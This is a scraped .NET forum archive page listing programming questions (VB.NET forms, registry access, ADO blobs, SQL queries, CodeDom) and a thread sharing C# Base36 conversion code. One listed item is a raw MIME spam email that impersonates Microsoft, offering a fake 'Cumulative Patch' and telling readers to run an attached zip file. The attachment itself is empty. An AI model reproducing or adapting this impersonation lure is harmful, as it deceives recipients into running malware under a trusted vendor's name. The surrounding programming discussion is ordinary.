 |
 |
Index ‹ DotNet ‹ Visual C#.Net
|
- Previous
- 1
- Dotnet >> Calling a public sub in another form having the name of the form as a stringHi,
I wonder if anyone can help me out.
I'm building a vb.net application that has a form with a panel that
contains several other sub forms (as a collection of controls). What
I'm wanting to do is call a generically named public sub in the
top-most sub form in the panel.
I have the name of the top-most form as a string (eg. g_TopForm =
"frmCustomers") and I can reference the form with:
Me.pnlMainWindow.Controls.Item(FormRef)
where the FormRef integer is derived from the function call:
FormRef = FormItemNo(g_TopForm)
and the FormItemNo function is defined as:
Private Function FormItemNo(ByVal formname As String) As Integer
Dim itemref As Integer
Try
'Return impossible number if the form hasn't already been
opened
FormItemNo = 99
For itemref = 0 To Me.pnlMainWindow.Controls.Count - 1
If Me.pnlMainWindow.Controls.Item(itemref).Name =
formname Then FormItemNo = itemref
Next
Catch exp As Exception
MsgBox(exp.Message, MsgBoxStyle.Critical, Me.Text)
End Try
End Function
So, what I'd like to be able to do now is somehow derive a variable
(say subfrm) of type 'frmCustomers' and call:
subfrm.NewRec()
where NewRec() is a public sub in the frmCustomers form class.
Am I barking up completely the wrong tree with this approach or does
anyone have a simple solution to this? I'm not very adept in .net
programming yet (as you may have gathered?!)
Any help is very much appreciated.
Paul
- 2
- Net Framework >> Writing to Registry permission error using RegistryKey classI'm working on a Windows app that needs to write to the Registry HKLM. I
keep getting a "System.UnauthorizedAccessException: Cannot write to the
registry key." error when running the app. I'm logged in as an
Administrator and it's a Windows app. What permission does it need? Here's
the code.
private void ChangeReg() {
string regPath =
"SOFTWARE\\Microsoft\\.NETFramework\\AssemblyFolders";
RegistryKey thisKey = Registry.LocalMachine;
thisKey = thisKey.OpenSubKey(regPath);
thisKey = thisKey.CreateSubKey("MyTest"); //it fails here.
...........
}
I read about the System.Security.Permissions.RegistryPermission class but
can't figure out how it works with with the RegistryKey class. Could anyone
help?
Thanks
Bob
- 3
- 4
- 5
- Visual C#.Net >> Determine when a file is readyI need to write an app that picks up images from a folder and does some work
on them (resize, compress etc). The folder in which the images reside has a
FileSystemWatcher triggering events when files are dropped in.
I need to be able to determine when the file is ready to be accessed by my
app, as some of the files may be large and the copy procedure may take some
time (in the order of seconds). I have the LastWrite filter set on my FSW but
that raises the changed event - which is also raised at other (seemingly
random) times - and there is no info in the event raised that it is the
LastWrite stage of the action.
Is there any exact way of determining when the file is available? This is
through a windows service so can't use the Win32 SHFileOperation api call...
(and a 'try - catch' solution isn't ideal)
- 6
- ADO >> size problem with ole object data type (blob) and ado.netHi there,
I've a strange problem with ado.net and an Access db. I need to create
a little C# app that take the content of "ole object" field and then
save it into a file.
The problem is that when I do the following
Byte[] byteBLOBData = new Byte[0];
byteBLOBData = (Byte[])(ds.Tables["tblRefAlbum"].Rows[0]["photo"]);
I get the exact double of the original size! and if I save this array
byte to a file I'll get my file with every two byte set to 00.
The result is, of course, not an image. I've tryed to manipulate my
array of byte to strip every two bytes but the result is an visible
image but not the correct image (it's a scrambled image that appears).
Please help, I really need to do this exportation of picture in .net
with the access db.
Thanks a lot for people whom can help me.
- 7
- Visual C#.Net >> Mini web crawlerHi,
I have a table in my DB with a list of URLs.
What I want to do is go to each URL and get a div tag with an ID
"ArticalTitle" and get the inner HTML of that div.
What would be the best way to do this? (I`m talking about the HTML Parsing
part, I got the DB stuff covered)
Thanks!
- 8
- ADO >> Different results with the same query?!?Hi all,
I want to check if a record exists in the DB.
I use two different ways to create the sql query.
One way is by using SqlCommand and SqlParameter.
The other way by building the query myself (without SqlParameter(s))
and using the SqlCommand to execute it.
In one I get false in the other i get true.
Can anyone help me?
////////////////////////////////////////////////
//Build the query using SqlParameters
////////////////////////////////////////////////
SqlCommand m_MessageSelectCommand = new SqlCommand();
m_MessageSelectCommand.CommandText =
"SELECT MessageNumber FROM Messages WHERE
CommunityNumber=@CommunityNumber and ForumParent=@ForumParent and
ForumNumber=@ForumNumber and WrittenBy=@WrittenBy and
MessageDate=@MessageDate";
m_MessageSelectCommand.Connection = m_Connection;
m_MessageSelectCommand.CommandTimeout = 0;
m_MessageSelectCommand.Parameters.Add(new
SqlParameter("@CommunityNumber", System.Data.SqlDbType.Int, 4,
"CommunityNumber"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@ForumNumber",
System.Data.SqlDbType.Int, 4, "ForumNumber"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@ForumParent",
System.Data.SqlDbType.Int, 4, "ForumParent"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@WrittenBy",
System.Data.SqlDbType.NVarChar, 100, "WrittenBy"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@MessageDate",
System.Data.SqlDbType.DateTime, 8, "MessageDate"));
// later in the code
m_MessageSelectCommand.Parameters["@CommunityNumber"].Value =
dlMessage.m_CommunityNumber;
m_MessageSelectCommand.Parameters["@ForumParent"].Value =
dlMessage.m_ForumNumber;
m_MessageSelectCommand.Parameters["@ForumNumber"].Value =
dlMessage.m_TopicNumber;
m_MessageSelectCommand.Parameters["@WrittenBy"].Value =
dlMessage.m_MessageAuthor;
m_MessageSelectCommand.Parameters["@MessageDate"].Value =
dlMessage.m_MessageDate;
SqlDataReader reader = m_MessageSelectCommand.ExecuteReader();
bool b = reader.HasRows;
// B IS FALSE!!!
////////////////////////////////////////////////
//The other way - just build the query by myself
////////////////////////////////////////////////
System.Text.StringBuilder sql = new System.Text.StringBuilder(256);
sql.Append("SELECT MessageNumber FROM Messages WHERE
CommunityNumber=");
sql.Append(dlMessage.m_CommunityNumber);
sql.Append(" and ForumParent=");
sql.Append(dlMessage.m_ForumNumber);
sql.Append(" and ForumNumber=");
sql.Append(dlMessage.m_TopicNumber);
sql.Append(" and WrittenBy='");
sql.Append(dlMessage.m_MessageAuthor);
sql.Append("' and MessageDate='");
sql.Append(dlMessage.m_MessageDate);
sql.Append("'");
SqlCommand c = new SqlCommand(sql.ToString(), m_Connection);
SqlDataReader reader = c.ExecuteReader();
bool b = reader.HasRows;
// I get that b is true.
This happens durring the same program execution
How can this be???
- 9
- Dotnet >> Problem w/ Simple SerializationHi,
I have a simple class that has a Hashtable. the hashtable has a couple of
key/value pairs where the key is a string and the value is also a strong.
I have [Serializable] at the top of that class.
when I try to serialize it with XmlSerializer, I get only the "class
boundary" but my hashtable member doesn't get serialized. Hashtable is
Serializable, at least that's what the documentation says.
Am I missing something?
Thanks,
Ron
- 10
- Net Framework >> COM interoperabilityI want to use a Class Library (DLL) on ASP .NET (2003). I'm using
JavaScript on the client side. My web must sign documents and I want to
call some functions from the class i have created. I have no problems
if i call the Capicom dll from javascript but if i call my class I
cannot use it and there are some errors:
<script lang="javascript>
var a = new ActiveXObject("CAPICOM.Certificate"); //No problem
But, if i want to use my class "signLibrary"
When I use var b = new ActiveXObject("signLibrary.Certs") there's an
error on the javascript
</script>
How do i have to call the library? How do i have to create the library
for using it on the website without errors? How do i have to reference
it from the website? Is there any other solution to do this?
Thank you
- 11
- Visual C#.Net >> sql alert app...I am looking for a real basic application that can query an SQL 2000
database andsend multiple alert based of the sql querys.
It would give me the ability to template the email and write the querys for
multiple alerts.
thanks,
gene
- 12
- Microsoft Project >> setting a custom field in a macroI'm trying to write a macro where I get information from one custom,
project-level field, a string, and place it in another custom,
project-level field which is also a string.
So far, the way I've been able to access the value is by storing
Project.Task.field_one in a string variable I've already declared.
However, when I try to write Project.Task.field_two = string_variable,
I get an error message saying "The argument value is not valid".
Any thoughts?
- 13
- Visual C#.Net >> How to get null keyword via CodedomHi, I'm writing some CodeDom stuff at the minute. It's great fun but
I've hit a snag. A little bit of the code checks to see whether an
event is null before I fire it. It looks like this...
.....Some stuff
CodeConditionStatement ifEventIsntNull = new CodeConditionStatement();
CodeEventReferenceExpression eventRef = new
CodeEventReferenceExpression(new
CodeTypeReferenceExpression("Interation"),
"NewInterationFailure");
CodeSnippetExpression nullExp = new CodeSnippetExpression("null");
CodeBinaryOperatorExpression equalityEx = new
CodeBinaryOperatorExpression(eventRef,
CodeBinaryOperatorType.IdentityInequality, nullExp);
ifEventIsntNull.Condition = equalityEx;
method.Statements.Add(ifEventIsntNull);
The problem is I can't see how to check for null without using the
CodeSnippetExpression (which obviously isn't portable). Anyone throw me
a line?
Cheers,
Tim
- 14
- Dotnet >> Use these internet package--qdmeolsdzwg
Content-Type: multipart/related; boundary="rbetnmayppwdq";
type="multipart/alternative"
--rbetnmayppwdq
Content-Type: multipart/alternative; boundary="rynymdnbvae"
--rynymdnbvae
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft User
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2004 Microsoft Corporation.
--rynymdnbvae
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:oexolxk" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft User<BR><BR>
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2004 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--rynymdnbvae--
--rbetnmayppwdq
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <oexolxk>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx
/+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r
9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV
606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO
X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg
4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI
sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg
mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD
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
--rbetnmayppwdq
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <bundqkg>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--rbetnmayppwdq--
--qdmeolsdzwg
Content-Type: application/x-compressed; name="installation7.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--qdmeolsdzwg--
- 15
- Microsoft Project >> Link Project data into Excel WorksheetI want to link values from an MS project file into cells within an Excel
worksheet. I want the sheet to automatically update itself to reflect changes
in the Project file. I know this can be done - I used to do it - but I can't
remember the magic steps required. Can anybody help on this?
Thanks.
|
| Author |
Message |
chessvip

|
Posted: Sun Nov 07 13:24:24 CST 2004 |
Top |
Visual C#.Net >> Base36
Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion routines? TIA
--
William Stacey, MVP
http://mvp.support.microsoft.com
DotNet67
|
| |
|
| |
 |
Roy

|
Posted: Sun Nov 07 13:24:24 CST 2004 |
Top |
Visual C#.Net >> Base36
William,
this is something that i did some time ago - actually for a different base,
but it was easy enough to change to handle base32.
you did not specify the symbol set for your number base - i will assume
0,1,2,3... X,Y,Z. if yours is different, change the tokens string
accordingly.
for performance reasons, the weights of the digits are computed at compile
time.
note - there is absolutely no error checking, and it handles only positive
values, and assumes that all character codes are upper case.
regards
roy fine
namespace CONVERSION{
// handles positive only values up to 4,738,381,338,321,616,896 - 1;
public class BASE32{
static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
static long [] powers =
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
public static string ToString(long lval){
int maxStrLen = powers.Length;
long curval = lval;
char [] tb = new char[maxStrLen];
int outpos = 0;
for(int i=0; i<maxStrLen; i++){
long pval = powers[maxStrLen - i - 1];
int pos = (int)(curval / pval);
tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
curval = curval % pval;
}
if(outpos==0) tb[outpos++] = '0';
return new string(tb,0,outpos).TrimStart('0');
}
public static long ToLong(string t){
long ival = 0;
char [] tb = t.ToCharArray();
for(int i=0; i<tb.Length; i++){
ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
}
return ival;
}
}
}
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:uc3%EMail@HideDomain.com...
> Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion routines?
TIA
>
> --
> William Stacey, MVP
> http://mvp.support.microsoft.com
>
|
| |
|
| |
 |
William

|
Posted: Sun Nov 07 13:49:57 CST 2004 |
Top |
Visual C#.Net >> Base36
Hey thanks a lot Roy. Care to post the other base as well? Either way,
thanks again!!
--
William Stacey, MVP
http://mvp.support.microsoft.com
"Roy Fine" <EMail@HideDomain.com> wrote in message
news:#EMail@HideDomain.com...
> William,
>
> this is something that i did some time ago - actually for a different
base,
> but it was easy enough to change to handle base32.
>
> you did not specify the symbol set for your number base - i will assume
> 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
> accordingly.
>
> for performance reasons, the weights of the digits are computed at compile
> time.
>
> note - there is absolutely no error checking, and it handles only positive
> values, and assumes that all character codes are upper case.
>
> regards
> roy fine
>
>
> namespace CONVERSION{
> // handles positive only values up to 4,738,381,338,321,616,896 - 1;
> public class BASE32{
> static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> static long [] powers =
>
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
>
